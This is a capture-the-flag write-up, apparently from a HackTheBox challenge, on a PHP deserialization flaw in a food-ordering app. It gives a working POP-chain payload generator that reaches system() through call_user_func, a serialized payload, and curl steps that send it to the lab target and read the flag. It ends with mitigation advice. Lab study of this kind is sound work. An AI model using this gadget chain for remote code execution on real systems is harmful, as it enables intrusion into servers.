$ cat writeup.md…
$ cat writeup.md…
HackTheBox
"Spent a week to create this food ordering system. Hope that it will not have any critical vulnerability in my application."
"Spent a week to create this food ordering system. Hope that it will not have any critical vulnerability in my application."
Target: http://154.57.164.65:30759
/<random_12chars>_flag.txt on the server (randomized filename)PHP food ordering web application with the following structure:
| File | Purpose |
|---|---|
register.php / login.php | User registration and login (session-based auth) |
index.php | Main page with food order buttons (Pizza, IceCream, Spaghetti) |
order.php | Processes orders — deserializes user-controlled POST data |
Models/PizzaModel.php | Pizza class with __destruct() magic method |
Models/SpaghettiModel.php | Spaghetti class with __get() magic method |
Models/IceCreamModel.php | IceCream class with __invoke() magic method |
Helpers/ArrayHelpers.php | Extends ArrayIterator, has current() with call_user_func() |
Models/DatabaseModel.php | SQLite database operations |
Helpers/CheckAuthentication.php | Session-based auth check |
Each food order button on index.php submits a form with a hidden data field containing base64_encode(serialize(new Pizza())) etc. — this is the intended flow.
unserialize()The critical vulnerability is in order.php (line 16):
$order = unserialize(base64_decode($_POST['data']));
The application deserializes the data POST parameter without any validation or class allowlist. Since PHP's unserialize() can instantiate any loaded class and set arbitrary properties, an attacker can craft a malicious serialized object that chains magic methods across multiple classes to achieve Remote Code Execution.
Four classes provide the building blocks for the POP chain:
1. Pizza::__destruct()
public function __destruct() { echo $this->size->what; }
Accesses property what on $this->size. If size is an object without a what property, PHP triggers __get().
2. Spaghetti::__get($tomato)
public function __get($tomato) { ($this->sauce)(); }
Calls $this->sauce as a function. If sauce is an object, PHP triggers __invoke().
3. IceCream::__invoke()
public function __invoke() { foreach ($this->flavors as $flavor) { echo $flavor; } }
Iterates over $this->flavors. If flavors is an ArrayHelpers (extends ArrayIterator), iteration calls current().
4. ArrayHelpers::current()
public function current() { $value = parent::current(); return call_user_func($this->callback, $value); }
Calls call_user_func() with attacker-controlled $this->callback and the current array value. Setting callback = "system" achieves RCE.
The exploit chains the 4 gadget classes in sequence:
Pizza::__destruct()
└─ accesses $this->size->what
└─ Spaghetti::__get('what')
└─ calls ($this->sauce)()
└─ IceCream::__invoke()
└─ foreach ($this->flavors as $flavor)
└─ ArrayHelpers::current()
└─ call_user_func("system", "ls /")
└─ RCE!
<?php // Include application classes require_once 'Models/PizzaModel.php'; require_once 'Models/SpaghettiModel.php'; require_once 'Models/IceCreamModel.php'; require_once 'Helpers/ArrayHelpers.php'; $cmd = $argv[1] ?? "ls /"; // Step 4: ArrayHelpers — the RCE sink // ArrayIterator with command as value, callback = "system" $arrayHelpers = new Helpers\ArrayHelpers([$cmd]); $arrayHelpers->callback = "system"; // Step 3: IceCream — triggers ArrayHelpers iteration via __invoke() $iceCream = new IceCream(); $iceCream->flavors = $arrayHelpers; // Step 2: Spaghetti — triggers IceCream.__invoke() via __get() $spaghetti = new Spaghetti(); $spaghetti->sauce = $iceCream; // Step 1: Pizza — entry point via __destruct() $pizza = new Pizza(); $pizza->size = $spaghetti; // Serialize and encode $payload = base64_encode(serialize($pizza)); echo $payload . "\n";
ls /)O:5:"Pizza":3:{s:5:"price";N;s:6:"cheese";N;s:4:"size";O:9:"Spaghetti":3:{s:5:"sauce";O:8:"IceCream":2:{s:7:"flavors";O:20:"Helpers\ArrayHelpers":4:{i:0;i:0;i:1;a:1:{i:0;s:4:"ls /";}i:2;a:1:{s:8:"callback";s:6:"system";}i:3;N;}s:7:"topping";N;}s:7:"noodles";N;s:7:"portion";N;}}
Step 1: Register an account
TARGET="http://154.57.164.65:30759" curl -c cookies.txt -L "$TARGET/register.php" \ -d "username=ctfuser123&password=ctfpass123"
Step 2: Login to get session
curl -c cookies.txt -b cookies.txt -L "$TARGET/login.php" \ -d "username=ctfuser123&password=ctfpass123"
Step 3: Send RCE payload — enumerate root directory
curl -s -b cookies.txt "$TARGET/order.php" \ -d "data=<base64_payload_for_ls_/>"
Response revealed the flag file: pBhfMBQlu9uT_flag.txt
Step 4: Read the flag
curl -s -b cookies.txt "$TARGET/order.php" \ -d "data=<base64_payload_for_cat_/pBhfMBQlu9uT_flag.txt>"
Identify the sink — Find where dangerous functions are called (call_user_func, system, exec, eval, file_get_contents, etc.) with controllable arguments. Here: ArrayHelpers::current() calls call_user_func($this->callback, $value).
Identify the entry point — Find magic methods triggered automatically during deserialization lifecycle. Here: Pizza::__destruct() fires when the object is garbage-collected.
Connect the chain — Work backwards from sink to entry, finding intermediate gadgets that bridge one magic method to the next:
__destruct() → property access on wrong type → __get()__get() → call object as function → __invoke()__invoke() → iterate custom iterator → current()| Magic Method | Triggered When |
|---|---|
__destruct() | Object is destroyed / garbage collected |
__wakeup() | Object is unserialized |
__get($name) | Accessing non-existent/inaccessible property |
__set($name, $val) | Setting non-existent/inaccessible property |
__call($name, $args) | Calling non-existent/inaccessible method |
__invoke() | Object used as a function $obj() |
__toString() | Object used as a string echo $obj |
unserialize() on user-controlled inputjson_encode()/json_decode() instead of PHP serializationunserialize() is required, use the allowed_classes option (PHP 7.0+): unserialize($data, ['allowed_classes' => ['Pizza', 'IceCream', 'Spaghetti']])call_user_func() with user-controllable callback names$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar